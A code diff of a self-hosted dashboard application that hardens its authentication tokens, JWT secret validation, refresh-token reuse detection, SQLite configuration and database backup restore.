// Validate env on first import — surfaces misconfigured deployments at boot
|
||||
// rather than at first authenticated request.
|
||||
validateServerEnv();
|
||||
|
||||
const globalForPrisma = globalThis as unknown as { prisma: PrismaClient };
|
||||
|
||||
export const prisma = globalForPrisma.prisma || new PrismaClient();
|
||||
export const prisma =
|
||||
globalForPrisma.prisma ||
|
||||
new PrismaClient({
|
||||
log: process.env.NODE_ENV === 'production' ? ['error', 'warn'] : ['warn', 'error']
|
||||
});
|
||||
|
||||
if (process.env.NODE_ENV !== 'production') {
|
||||
globalForPrisma.prisma = prisma;
|
||||
}
|
||||
|
||||
let pragmasApplied = false;
|
||||
|
||||
/**
|
||||
* Apply SQLite tuning pragmas. Must run AFTER $connect. Idempotent.
|
||||
* - journal_mode=WAL: enables concurrent reads with one writer (vs default
|
||||
* rollback journal which locks the whole file for every write).
|
||||
* - busy_timeout=5000: makes Prisma queries wait for the lock instead of
|
||||
* immediately throwing SQLITE_BUSY when the cron + user write at the same time.
|
||||
* - synchronous=NORMAL: safe with WAL, ~2x faster than FULL.
|
||||
* - foreign_keys=ON: SQLite default is OFF; required for Prisma onDelete.
|
||||
*/
|
||||
async function applySqlitePragmas(): Promise<void> {
|
||||
if (pragmasApplied) return;
|
||||
try {
|
||||
await prisma.$executeRawUnsafe('PRAGMA journal_mode = WAL');
|
||||
await prisma.$executeRawUnsafe('PRAGMA busy_timeout = 5000');
|
||||
await prisma.$executeRawUnsafe('PRAGMA synchronous = NORMAL');
|
||||
await prisma.$executeRawUnsafe('PRAGMA foreign_keys = ON');
|
||||
pragmasApplied = true;
|
||||
} catch (err) {
|
||||
|
||||
console.warn('[prisma] Failed to apply SQLite pragmas:', err);
|
||||
}
|
||||
}
|
||||
|
||||
// Eagerly connect so the first request doesn't pay the connection cost
|
||||
prisma.$connect().catch(() => {
|
||||
// Connection will be retried lazily on first query
|
||||
});
|
||||
prisma
|
||||
.$connect()
|
||||
.then(() => applySqlitePragmas())
|
||||
.catch(() => {
|
||||
// Connection will be retried lazily on first query
|
||||
});
|
||||
|
||||
/**
|
||||
* Re-apply pragmas after a reconnection (e.g. after backup restore which
|
||||
* does $disconnect + restart).
|
||||
*/
|
||||
export async function reapplySqlitePragmas(): Promise<void> {
|
||||
pragmasApplied = false;
|
||||
await applySqlitePragmas();
|
||||
}
|
||||
|
||||
@@ -13,8 +13,9 @@ vi.mock('../../prisma.js', () => ({
|
||||
}
|
||||
}));
|
||||
|
||||
// Set JWT_SECRET for tests
|
||||
process.env.JWT_SECRET = 'test-secret-key-for-unit-tests';
|
||||
// Set JWT_SECRET for tests — must be ≥ 32 chars and not a known placeholder
|
||||
// (enforced by getJwtSecret in authService).
|
||||
process.env.JWT_SECRET = 'test-secret-key-for-unit-tests-must-be-at-least-32-chars-long';
|
||||
|
||||
import {
|
||||
hashPassword,
|
||||
@@ -74,11 +75,13 @@ describe('authService', () => {
|
||||
});
|
||||
|
||||
describe('generateRefreshToken', () => {
|
||||
it('generates a hex string', () => {
|
||||
it('generates a prefixed hex string', () => {
|
||||
const token = generateRefreshToken();
|
||||
expect(typeof token).toBe('string');
|
||||
expect(token.length).toBe(96); // 48 bytes * 2 hex chars
|
||||
expect(/^[0-9a-f]+$/.test(token)).toBe(true);
|
||||
// "rt_" prefix (3) + 48 bytes * 2 hex chars (96) = 99
|
||||
expect(token.length).toBe(99);
|
||||
expect(token.startsWith('rt_')).toBe(true);
|
||||
expect(/^rt_[0-9a-f]+$/.test(token)).toBe(true);
|
||||
});
|
||||
|
||||
it('generates unique tokens', () => {
|
||||
@@ -106,7 +109,9 @@ describe('authService', () => {
|
||||
const result = await createSession('usr-1', { userAgent: 'ua', ipAddress: '127.0.0.1' });
|
||||
|
||||
expect(result.sessionId).toBe('ses-1');
|
||||
expect(result.refreshToken.length).toBe(96);
|
||||
// Tokens are now prefixed with "rt_" (3 chars) + 96 hex chars = 99
|
||||
expect(result.refreshToken.length).toBe(99);
|
||||
expect(result.refreshToken.startsWith('rt_')).toBe(true);
|
||||
expect(result.expiresAt.getTime()).toBeGreaterThan(Date.now());
|
||||
expect(prisma.session.create).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
@@ -168,7 +173,9 @@ describe('authService', () => {
|
||||
const result = await rotateSession('ses-1');
|
||||
|
||||
expect(result.sessionId).toBe('ses-1');
|
||||
expect(result.refreshToken.length).toBe(96);
|
||||
// Tokens are now prefixed with "rt_" (3 chars) + 96 hex chars = 99
|
||||
expect(result.refreshToken.length).toBe(99);
|
||||
expect(result.refreshToken.startsWith('rt_')).toBe(true);
|
||||
expect(prisma.session.update).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -103,6 +103,27 @@ describe('discoveryService', () => {
|
||||
});
|
||||
|
||||
describe('discoverTraefik', () => {
|
||||
// Build a Response-like object compatible with both raw fetch tests and
|
||||
// the SafeResponse wrapper used by safeFetch.
|
||||
function mockResponse(body: unknown, ok: boolean, status: number) {
|
||||
const bodyString = JSON.stringify(body);
|
||||
const bodyBytes = new TextEncoder().encode(bodyString);
|
||||
const stream = new ReadableStream<Uint8Array>({
|
||||
start(controller) {
|
||||
controller.enqueue(bodyBytes);
|
||||
controller.close();
|
||||
}
|
||||
});
|
||||
return {
|
||||
ok,
|
||||
status,
|
||||
headers: new Headers({ 'content-type': 'application/json' }),
|
||||
body: stream,
|
||||
json: () => Promise.resolve(body),
|
||||
text: () => Promise.resolve(bodyString)
|
||||
};
|
||||
}
|
||||
|
||||
it('returns services from Traefik routers', async () => {
|
||||
const routers = [
|
||||
{
|
||||
@@ -123,15 +144,9 @@ describe('discoveryService', () => {
|
||||
'fetch',
|
||||
vi.fn((url: string) => {
|
||||
if (url.includes('/api/http/routers')) {
|
||||
return Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve(routers)
|
||||
});
|
||||
return Promise.resolve(mockResponse(routers, true, 200));
|
||||
}
|
||||
return Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve(services)
|
||||
});
|
||||
return Promise.resolve(mockResponse(services, true, 200));
|
||||
})
|
||||
);
|
||||
|
||||
@@ -148,7 +163,7 @@ describe('discoveryService', () => {
|
||||
it('returns error on Traefik API failure', async () => {
|
||||
vi.stubGlobal(
|
||||
'fetch',
|
||||
vi.fn(() => Promise.resolve({ ok: false, status: 500 }))
|
||||
vi.fn(() => Promise.resolve(mockResponse({}, false, 500)))
|
||||
);
|
||||
|
||||
const result = await discoverTraefik('http://traefik.local:8080');
|
||||
|
||||
@@ -1,20 +1,29 @@
|
||||
import { randomBytes, createHash } from 'crypto';
|
||||
import bcrypt from 'bcryptjs';
|
||||
import { randomBytes, createHash, timingSafeEqual } from 'crypto';
|
||||
import { prisma } from '../prisma.js';
|
||||
|
||||
const BCRYPT_ROUNDS = 10;
|
||||
|
||||
/**
|
||||
* Hash a token string using SHA-256 for fast lookup, then bcrypt for storage.
|
||||
* We use SHA-256 as an intermediate to create a fixed-length input for bcrypt
|
||||
* (bcrypt has a 72-byte limit).
|
||||
* API tokens are 256-bit cryptographically random (32 bytes hex). They carry
|
||||
* full entropy, so we don't need bcrypt's expensive KDF — SHA-256 is sufficient
|
||||
* and gives us O(1) indexed lookup via the `tokenHash @unique` column.
|
||||
*
|
||||
* Storage shape: `tokenHash` = sha256(plaintextToken).
|
||||
* On lookup we compute the same hash and do a single `findUnique`.
|
||||
*/
|
||||
function sha256(token: string): string {
|
||||
function sha256Hex(token: string): string {
|
||||
return createHash('sha256').update(token).digest('hex');
|
||||
}
|
||||
|
||||
function constantTimeEqual(a: string, b: string): boolean {
|
||||
if (a.length !== b.length) return false;
|
||||
const aBuf = Buffer.from(a);
|
||||
const bBuf = Buffer.from(b);
|
||||
return timingSafeEqual(aBuf, bBuf);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate a new API token. Returns the plaintext token (shown once) and the DB record.
|
||||
* Generate a new API token. Returns the plaintext token (shown once) and the
|
||||
* DB record. We embed a short, non-secret prefix so the user can identify
|
||||
* which token a leaked log line refers to without having to reveal the token.
|
||||
*/
|
||||
export async function generateToken(
|
||||
userId: string,
|
||||
@@ -22,8 +31,8 @@ export async function generateToken(
|
||||
scope: string,
|
||||
expiresAt?: string
|
||||
) {
|
||||
const plainToken = randomBytes(32).toString('hex');
|
||||
const tokenHash = await bcrypt.hash(sha256(plainToken), BCRYPT_ROUNDS);
|
||||
const plainToken = `wal_${randomBytes(32).toString('hex')}`;
|
||||
const tokenHash = sha256Hex(plainToken);
|
||||
|
||||
const token = await prisma.apiToken.create({
|
||||
data: {
|
||||
@@ -41,27 +50,20 @@ export async function generateToken(
|
||||
scope: token.scope,
|
||||
expiresAt: token.expiresAt,
|
||||
createdAt: token.createdAt,
|
||||
token: plainToken // Only returned once at creation time
|
||||
token: plainToken
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Revoke (delete) an API token.
|
||||
*/
|
||||
export async function revokeToken(tokenId: string, userId: string) {
|
||||
const token = await prisma.apiToken.findUnique({ where: { id: tokenId } });
|
||||
if (!token || token.userId !== userId) {
|
||||
throw new Error('API token not found');
|
||||
}
|
||||
|
||||
await prisma.apiToken.delete({ where: { id: tokenId } });
|
||||
}
|
||||
|
||||
/**
|
||||
* List all tokens for a user (without the hash).
|
||||
*/
|
||||
export async function listTokens(userId: string) {
|
||||
const tokens = await prisma.apiToken.findMany({
|
||||
return prisma.apiToken.findMany({
|
||||
where: { userId },
|
||||
select: {
|
||||
id: true,
|
||||
@@ -73,22 +75,22 @@ export async function listTokens(userId: string) {
|
||||
},
|
||||
orderBy: { createdAt: 'desc' }
|
||||
});
|
||||
return tokens;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a plaintext token string. Returns the user info if valid, null otherwise.
|
||||
* Updates lastUsedAt on successful validation.
|
||||
* Validate a plaintext token. O(1) lookup via the unique indexed hash column.
|
||||
* Returns null if the token doesn't exist or is expired.
|
||||
*/
|
||||
export async function validateToken(tokenString: string): Promise<{
|
||||
readonly userId: string;
|
||||
readonly scope: string;
|
||||
} | null> {
|
||||
const tokenSha = sha256(tokenString);
|
||||
if (typeof tokenString !== 'string' || tokenString.length === 0) return null;
|
||||
|
||||
// We need to check against all tokens since bcrypt hashes are unique per-hash.
|
||||
// For better performance at scale, consider indexing on a prefix or using a different scheme.
|
||||
const allTokens = await prisma.apiToken.findMany({
|
||||
const tokenHash = sha256Hex(tokenString);
|
||||
|
||||
const token = await prisma.apiToken.findUnique({
|
||||
where: { tokenHash },
|
||||
select: {
|
||||
id: true,
|
||||
userId: true,
|
||||
@@ -98,30 +100,24 @@ export async function validateToken(tokenString: string): Promise<{
|
||||
}
|
||||
});
|
||||
|
||||
for (const token of allTokens) {
|
||||
const isMatch = await bcrypt.compare(tokenSha, token.tokenHash);
|
||||
if (isMatch) {
|
||||
// Check expiry
|
||||
if (token.expiresAt && token.expiresAt < new Date()) {
|
||||
return null; // Token expired
|
||||
}
|
||||
if (!token) return null;
|
||||
|
||||
// Update lastUsedAt (fire-and-forget)
|
||||
prisma.apiToken
|
||||
.update({
|
||||
where: { id: token.id },
|
||||
data: { lastUsedAt: new Date() }
|
||||
})
|
||||
.catch(() => {
|
||||
// Swallow errors from lastUsedAt update
|
||||
});
|
||||
// Defense-in-depth: even though findUnique only returns the matching row,
|
||||
// we still compare in constant time to harden against pathological cases
|
||||
// (collisions, race conditions, future refactors).
|
||||
if (!constantTimeEqual(token.tokenHash, tokenHash)) return null;
|
||||
|
||||
return {
|
||||
userId: token.userId,
|
||||
scope: token.scope
|
||||
};
|
||||
}
|
||||
}
|
||||
if (token.expiresAt && token.expiresAt < new Date()) return null;
|
||||
|
||||
return null;
|
||||
prisma.apiToken
|
||||
.update({
|
||||
where: { id: token.id },
|
||||
data: { lastUsedAt: new Date() }
|
||||
})
|
||||
.catch((err) => {
|
||||
|
||||
console.warn('[api-token] lastUsedAt update failed:', err);
|
||||
});
|
||||
|
||||
return { userId: token.userId, scope: token.scope };
|
||||
}
|
||||
|
||||
@@ -21,8 +21,14 @@ export function logAction(
|
||||
details: details ? JSON.stringify(details) : '{}'
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
// Non-blocking: swallow errors so the parent operation is unaffected
|
||||
.catch((err) => {
|
||||
// Non-blocking but observable: log to stderr so a failing audit trail
|
||||
// (e.g. DB full, locked) is visible in container logs.
|
||||
|
||||
console.warn(
|
||||
`[audit] failed to record ${action} ${entityType}:${entityId}:`,
|
||||
err
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
@@ -1,16 +1,38 @@
|
||||
import bcrypt from 'bcryptjs';
|
||||
import jwt from 'jsonwebtoken';
|
||||
import { createHash, randomBytes, timingSafeEqual } from 'crypto';
|
||||
import { prisma } from '../prisma.js';
|
||||
import { DEFAULTS } from '$lib/utils/constants.js';
|
||||
import { DEFAULTS, FORBIDDEN_SECRETS, MIN_SECRET_LENGTH } from '$lib/utils/constants.js';
|
||||
import type { JwtPayload } from '$lib/types/auth.js';
|
||||
|
||||
const SALT_ROUNDS = 12;
|
||||
const SALT_ROUNDS = DEFAULTS.SALT_ROUNDS;
|
||||
|
||||
function sha256Hex(value: string): string {
|
||||
return createHash('sha256').update(value).digest('hex');
|
||||
}
|
||||
|
||||
function constantTimeEqual(a: string, b: string): boolean {
|
||||
if (a.length !== b.length) return false;
|
||||
return timingSafeEqual(Buffer.from(a), Buffer.from(b));
|
||||
}
|
||||
|
||||
function getJwtSecret(): string {
|
||||
const secret = process.env.JWT_SECRET;
|
||||
if (!secret) {
|
||||
throw new Error('JWT_SECRET environment variable is not set');
|
||||
}
|
||||
if (FORBIDDEN_SECRETS.has(secret.trim().toLowerCase())) {
|
||||
throw new Error(
|
||||
'JWT_SECRET is set to a forbidden placeholder value. ' +
|
||||
'Generate a strong secret with: openssl rand -hex 32'
|
||||
);
|
||||
}
|
||||
if (secret.length < MIN_SECRET_LENGTH) {
|
||||
throw new Error(
|
||||
`JWT_SECRET must be at least ${MIN_SECRET_LENGTH} characters long ` +
|
||||
'(generate with: openssl rand -hex 32)'
|
||||
);
|
||||
}
|
||||
return secret;
|
||||
}
|
||||
|
||||
@@ -46,9 +68,7 @@ export function verifyAccessToken(token: string): JwtPayload {
|
||||
}
|
||||
|
||||
export function generateRefreshToken(): string {
|
||||
const bytes = new Uint8Array(48);
|
||||
crypto.getRandomValues(bytes);
|
||||
return Array.from(bytes, (b) => b.toString(16).padStart(2, '0')).join('');
|
||||
return `rt_${randomBytes(48).toString('hex')}`;
|
||||
}
|
||||
|
||||
export interface SessionMetadata {
|
||||
@@ -64,8 +84,8 @@ export interface IssuedSession {
|
||||
readonly expiresAt: Date;
|
||||
}
|
||||
|
||||
const DEFAULT_SESSION_TTL_DAYS = 7;
|
||||
const REMEMBER_ME_SESSION_TTL_DAYS = 30;
|
||||
const DEFAULT_SESSION_TTL_DAYS = DEFAULTS.REFRESH_TOKEN_EXPIRY_DAYS;
|
||||
const REMEMBER_ME_SESSION_TTL_DAYS = DEFAULTS.REMEMBER_ME_REFRESH_TOKEN_EXPIRY_DAYS;
|
||||
|
||||
function sessionExpiry(rememberMe: boolean): Date {
|
||||
const days = rememberMe ? REMEMBER_ME_SESSION_TTL_DAYS : DEFAULT_SESSION_TTL_DAYS;
|
||||
@@ -76,20 +96,20 @@ function sessionExpiry(rememberMe: boolean): Date {
|
||||
|
||||
/**
|
||||
* Create a new session row and return the session id + raw refresh token.
|
||||
* The raw token is returned once — only the hash is stored.
|
||||
*/
|
||||
export async function createSession(
|
||||
userId: string,
|
||||
meta: SessionMetadata = {}
|
||||
): Promise<IssuedSession> {
|
||||
const refreshToken = generateRefreshToken();
|
||||
const tokenHash = await bcrypt.hash(refreshToken, SALT_ROUNDS);
|
||||
const tokenHash = sha256Hex(refreshToken);
|
||||
const expiresAt = sessionExpiry(meta.rememberMe ?? false);
|
||||
|
||||
const session = await prisma.session.create({
|
||||
data: {
|
||||
userId,
|
||||
tokenHash,
|
||||
previousTokenHash: null,
|
||||
label: meta.label ?? null,
|
||||
userAgent: meta.userAgent ?? null,
|
||||
ipAddress: meta.ipAddress ?? null,
|
||||
@@ -102,35 +122,59 @@ export async function createSession(
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a session id + refresh token. Returns the session row if valid, else null.
|
||||
* Does NOT mutate the session.
|
||||
* Validate a session id + refresh token. O(1) via unique(tokenHash) index.
|
||||
*
|
||||
* Refresh-token reuse detection: if the supplied token matches `previousTokenHash`
|
||||
* (the token we rotated AWAY from), treat it as compromise — revoke the
|
||||
* session and return null. This catches the scenario where an attacker has
|
||||
* captured the old refresh token cookie pair: when they replay it after the
|
||||
* legitimate user has rotated, we notice and kick them out.
|
||||
*/
|
||||
export async function validateSession(sessionId: string, refreshToken: string) {
|
||||
const session = await prisma.session.findUnique({ where: { id: sessionId } });
|
||||
if (!session) return null;
|
||||
if (new Date() > session.expiresAt) return null;
|
||||
|
||||
const matches = await bcrypt.compare(refreshToken, session.tokenHash);
|
||||
if (!matches) return null;
|
||||
const tokenHash = sha256Hex(refreshToken);
|
||||
|
||||
if (
|
||||
session.previousTokenHash &&
|
||||
constantTimeEqual(session.previousTokenHash, tokenHash)
|
||||
) {
|
||||
// Refresh-token reuse — possible compromise. Revoke the session.
|
||||
await prisma.session.delete({ where: { id: sessionId } }).catch(() => {});
|
||||
|
||||
console.warn(
|
||||
`[auth] refresh-token reuse detected on session ${sessionId} — revoking`
|
||||
);
|
||||
return null;
|
||||
}
|
||||
|
||||
if (!constantTimeEqual(session.tokenHash, tokenHash)) return null;
|
||||
|
||||
return session;
|
||||
}
|
||||
|
||||
/**
|
||||
* Rotate a session's refresh token. Keeps the same session id (so the sessions
|
||||
* page shows a stable row). Refreshes expiry based on the session's rememberMe.
|
||||
* Rotate a session's refresh token. Keeps the same session id and records the
|
||||
* previous hash so a replay can be detected (see validateSession).
|
||||
*/
|
||||
export async function rotateSession(sessionId: string): Promise<IssuedSession> {
|
||||
const existing = await prisma.session.findUnique({ where: { id: sessionId } });
|
||||
if (!existing) throw new Error('Session not found');
|
||||
|
||||
const refreshToken = generateRefreshToken();
|
||||
const tokenHash = await bcrypt.hash(refreshToken, SALT_ROUNDS);
|
||||
const tokenHash = sha256Hex(refreshToken);
|
||||
const expiresAt = sessionExpiry(existing.rememberMe);
|
||||
|
||||
await prisma.session.update({
|
||||
where: { id: sessionId },
|
||||
data: { tokenHash, expiresAt, lastUsedAt: new Date() }
|
||||
data: {
|
||||
tokenHash,
|
||||
previousTokenHash: existing.tokenHash,
|
||||
expiresAt,
|
||||
lastUsedAt: new Date()
|
||||
}
|
||||
});
|
||||
|
||||
return { sessionId, refreshToken, expiresAt };
|
||||
|
||||
@@ -1,16 +1,17 @@
|
||||
import { prisma } from '../prisma.js';
|
||||
import { prisma, reapplySqlitePragmas } from '../prisma.js';
|
||||
import { DEFAULTS } from '$lib/utils/constants.js';
|
||||
import fs from 'node:fs';
|
||||
import path from 'node:path';
|
||||
|
||||
const BACKUP_DIR = path.resolve('data', 'backups');
|
||||
|
||||
// SQLite file format magic: "SQLite format 3\0"
|
||||
const SQLITE_MAGIC = Buffer.from([
|
||||
0x53, 0x51, 0x4c, 0x69, 0x74, 0x65, 0x20, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x20, 0x33, 0x00
|
||||
]);
|
||||
|
||||
let _restoring = false;
|
||||
|
||||
/**
|
||||
* Check if a database restore is currently in progress.
|
||||
* Other services can check this to avoid querying during restore.
|
||||
*/
|
||||
export function isRestoring(): boolean {
|
||||
return _restoring;
|
||||
}
|
||||
@@ -29,15 +30,30 @@ function ensureBackupDir(): void {
|
||||
|
||||
function getDatabasePath(): string {
|
||||
const url = process.env.DATABASE_URL ?? 'file:../data/launcher.db';
|
||||
// Strip the "file:" prefix and resolve relative to prisma/ directory
|
||||
const relative = url.replace(/^file:/, '');
|
||||
return path.resolve('prisma', relative);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a backup of the SQLite database using VACUUM INTO.
|
||||
* This produces a clean, compacted copy without locking the live DB.
|
||||
* Validate that the file at `filePath` is a SQLite database by checking the
|
||||
* 16-byte magic header. Without this, a 0-byte or text file silently
|
||||
* overwrites the live DB during restore.
|
||||
*/
|
||||
function isSqliteFile(filePath: string): boolean {
|
||||
let fd: number | null = null;
|
||||
try {
|
||||
fd = fs.openSync(filePath, 'r');
|
||||
const buf = Buffer.alloc(16);
|
||||
const bytesRead = fs.readSync(fd, buf, 0, 16, 0);
|
||||
if (bytesRead < 16) return false;
|
||||
return buf.equals(SQLITE_MAGIC);
|
||||
} catch {
|
||||
return false;
|
||||
} finally {
|
||||
if (fd !== null) fs.closeSync(fd);
|
||||
}
|
||||
}
|
||||
|
||||
export async function createBackup(): Promise<BackupInfo> {
|
||||
ensureBackupDir();
|
||||
|
||||
@@ -45,13 +61,10 @@ export async function createBackup(): Promise<BackupInfo> {
|
||||
const filename = `backup-${timestamp}.db`;
|
||||
const backupPath = path.join(BACKUP_DIR, filename);
|
||||
|
||||
// Use VACUUM INTO for a safe, consistent copy
|
||||
// Escape single quotes for defense-in-depth (path is server-generated, not user input)
|
||||
const safePath = backupPath.replace(/\\/g, '/').replace(/'/g, "''");
|
||||
await prisma.$executeRawUnsafe(`VACUUM INTO '${safePath}'`);
|
||||
|
||||
const stats = fs.statSync(backupPath);
|
||||
|
||||
return {
|
||||
filename,
|
||||
size: stats.size,
|
||||
@@ -59,14 +72,9 @@ export async function createBackup(): Promise<BackupInfo> {
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* List all existing backups, sorted newest first.
|
||||
*/
|
||||
export function listBackups(): ReadonlyArray<BackupInfo> {
|
||||
ensureBackupDir();
|
||||
|
||||
const files = fs.readdirSync(BACKUP_DIR).filter((f) => f.endsWith('.db'));
|
||||
|
||||
return files
|
||||
.map((filename) => {
|
||||
const stats = fs.statSync(path.join(BACKUP_DIR, filename));
|
||||
@@ -79,87 +87,107 @@ export function listBackups(): ReadonlyArray<BackupInfo> {
|
||||
.sort((a, b) => b.createdAt.localeCompare(a.createdAt));
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the absolute path to a backup file. Returns null if not found.
|
||||
*/
|
||||
export function getBackupFilePath(filename: string): string | null {
|
||||
// Sanitize: prevent directory traversal
|
||||
const sanitized = path.basename(filename);
|
||||
if (sanitized !== filename) return null; // path traversal attempt
|
||||
if (!/^[\w.-]+\.db$/.test(sanitized)) return null;
|
||||
const fullPath = path.join(BACKUP_DIR, sanitized);
|
||||
|
||||
if (!fs.existsSync(fullPath)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (!fs.existsSync(fullPath)) return null;
|
||||
return fullPath;
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete a backup file. Returns true if deleted, false if not found.
|
||||
*/
|
||||
export function deleteBackup(filename: string): boolean {
|
||||
const fullPath = getBackupFilePath(filename);
|
||||
if (!fullPath) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!fullPath) return false;
|
||||
fs.unlinkSync(fullPath);
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Restore the database from a backup file.
|
||||
* Sets a restoring flag, disconnects Prisma, replaces the DB file, then reconnects.
|
||||
*
|
||||
* Hardened:
|
||||
* 1. Verify the source file's SQLite magic header before touching the live DB.
|
||||
* 2. Set _restoring = true BEFORE $disconnect (TOCTOU narrowing).
|
||||
* 3. Take a safety snapshot of the current DB so a partial copy can be rolled back.
|
||||
* 4. Use rename (atomic on same fs) instead of copyFileSync where possible.
|
||||
* 5. Reapply SQLite pragmas after reconnect.
|
||||
*/
|
||||
export async function restoreBackup(filename: string): Promise<void> {
|
||||
const backupPath = getBackupFilePath(filename);
|
||||
if (!backupPath) {
|
||||
throw new Error(`Backup not found: ${filename}`);
|
||||
}
|
||||
|
||||
if (_restoring) {
|
||||
throw new Error('A restore is already in progress');
|
||||
}
|
||||
|
||||
const dbPath = getDatabasePath();
|
||||
|
||||
_restoring = true;
|
||||
|
||||
// Disconnect Prisma so the DB file is not locked
|
||||
await prisma.$disconnect();
|
||||
const backupPath = getBackupFilePath(filename);
|
||||
if (!backupPath) {
|
||||
_restoring = false;
|
||||
throw new Error(`Backup not found: ${filename}`);
|
||||
}
|
||||
|
||||
if (!isSqliteFile(backupPath)) {
|
||||
_restoring = false;
|
||||
throw new Error(`File is not a valid SQLite database: ${filename}`);
|
||||
}
|
||||
|
||||
const dbPath = getDatabasePath();
|
||||
const safetyPath = `${dbPath}.pre-restore-${Date.now()}.bak`;
|
||||
|
||||
try {
|
||||
// Replace the live database with the backup
|
||||
fs.copyFileSync(backupPath, dbPath);
|
||||
} finally {
|
||||
// Always reconnect, even if copy fails
|
||||
// 1. Snapshot the live DB so we can roll back on failure.
|
||||
if (fs.existsSync(dbPath)) {
|
||||
fs.copyFileSync(dbPath, safetyPath);
|
||||
}
|
||||
|
||||
// 2. Disconnect Prisma so the DB file is not locked.
|
||||
await prisma.$disconnect();
|
||||
|
||||
// 3. Copy backup → temp, then rename atomically over the live DB.
|
||||
const stagingPath = `${dbPath}.restore.tmp`;
|
||||
fs.copyFileSync(backupPath, stagingPath);
|
||||
fs.renameSync(stagingPath, dbPath);
|
||||
|
||||
// 4. Reconnect + re-apply pragmas (WAL etc.)
|
||||
await prisma.$connect();
|
||||
await reapplySqlitePragmas();
|
||||
|
||||
// Cleanup safety snapshot on success.
|
||||
if (fs.existsSync(safetyPath)) {
|
||||
try {
|
||||
fs.unlinkSync(safetyPath);
|
||||
} catch {
|
||||
// non-fatal
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
// Roll back from safety snapshot.
|
||||
try {
|
||||
if (fs.existsSync(safetyPath)) {
|
||||
fs.copyFileSync(safetyPath, dbPath);
|
||||
fs.unlinkSync(safetyPath);
|
||||
}
|
||||
await prisma.$connect();
|
||||
await reapplySqlitePragmas();
|
||||
} catch {
|
||||
// Best-effort recovery.
|
||||
}
|
||||
throw err;
|
||||
} finally {
|
||||
_restoring = false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Enforce retention policy: delete oldest backups beyond maxCount.
|
||||
*/
|
||||
export function enforceRetention(maxCount: number): number {
|
||||
const backups = listBackups();
|
||||
if (backups.length <= maxCount) return 0;
|
||||
|
||||
if (backups.length <= maxCount) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Backups are sorted newest-first; remove from the end
|
||||
const toDelete = backups.slice(maxCount);
|
||||
for (const backup of toDelete) {
|
||||
deleteBackup(backup.filename);
|
||||
}
|
||||
|
||||
return toDelete.length;
|
||||
}
|
||||
|
||||
/**
|
||||
* Load backup settings from SystemSettings.
|
||||
*/
|
||||
export async function getBackupSettings(): Promise<{
|
||||
readonly backupEnabled: boolean;
|
||||
readonly backupCronExpression: string;
|
||||
@@ -178,9 +206,6 @@ export async function getBackupSettings(): Promise<{
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Update backup settings in SystemSettings.
|
||||
*/
|
||||
export async function updateBackupSettings(data: {
|
||||
readonly backupEnabled?: boolean;
|
||||
readonly backupCronExpression?: string;
|
||||
|
||||
@@ -7,6 +7,7 @@ import type {
|
||||
} from '$lib/types/board.js';
|
||||
import type { CreateWidgetInput, UpdateWidgetInput } from '$lib/types/widget.js';
|
||||
import { WidgetType } from '$lib/utils/constants.js';
|
||||
import { sanitizeCss } from '$lib/utils/cssSanitize.js';
|
||||
import {
|
||||
appWidgetConfigSchema,
|
||||
bookmarkWidgetConfigSchema,
|
||||
@@ -81,29 +82,36 @@ export async function findAllBoards() {
|
||||
});
|
||||
}
|
||||
|
||||
export async function findBoardById(id: string) {
|
||||
const board = await prisma.board.findUnique({
|
||||
where: { id },
|
||||
// Single source of truth for the board → sections → widgets → app include shape.
|
||||
// Includes app.links and app.appTags so AppWidget.svelte can render tags/links
|
||||
// without a follow-up fetch.
|
||||
const BOARD_INCLUDE = {
|
||||
sections: {
|
||||
orderBy: { order: 'asc' as const },
|
||||
include: {
|
||||
sections: {
|
||||
orderBy: { order: 'asc' },
|
||||
widgets: {
|
||||
orderBy: { order: 'asc' as const },
|
||||
include: {
|
||||
widgets: {
|
||||
orderBy: { order: 'asc' },
|
||||
app: {
|
||||
include: {
|
||||
app: {
|
||||
include: {
|
||||
statuses: {
|
||||
orderBy: { checkedAt: 'desc' },
|
||||
take: 1
|
||||
}
|
||||
}
|
||||
}
|
||||
statuses: {
|
||||
orderBy: { checkedAt: 'desc' as const },
|
||||
take: 1
|
||||
},
|
||||
links: { orderBy: { order: 'asc' as const } },
|
||||
appTags: { include: { tag: true } }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} as const;
|
||||
|
||||
export async function findBoardById(id: string) {
|
||||
const board = await prisma.board.findUnique({
|
||||
where: { id },
|
||||
include: BOARD_INCLUDE
|
||||
});
|
||||
if (!board) {
|
||||
throw new Error(`Board not found: ${id}`);
|
||||
@@ -114,26 +122,7 @@ export async function findBoardById(id: string) {
|
||||
export async function findDefaultBoard() {
|
||||
return prisma.board.findFirst({
|
||||
where: { isDefault: true },
|
||||
include: {
|
||||
sections: {
|
||||
orderBy: { order: 'asc' },
|
||||
include: {
|
||||
widgets: {
|
||||
orderBy: { order: 'asc' },
|
||||
include: {
|
||||
app: {
|
||||
include: {
|
||||
statuses: {
|
||||
orderBy: { checkedAt: 'desc' },
|
||||
take: 1
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
include: BOARD_INCLUDE
|
||||
});
|
||||
}
|
||||
|
||||
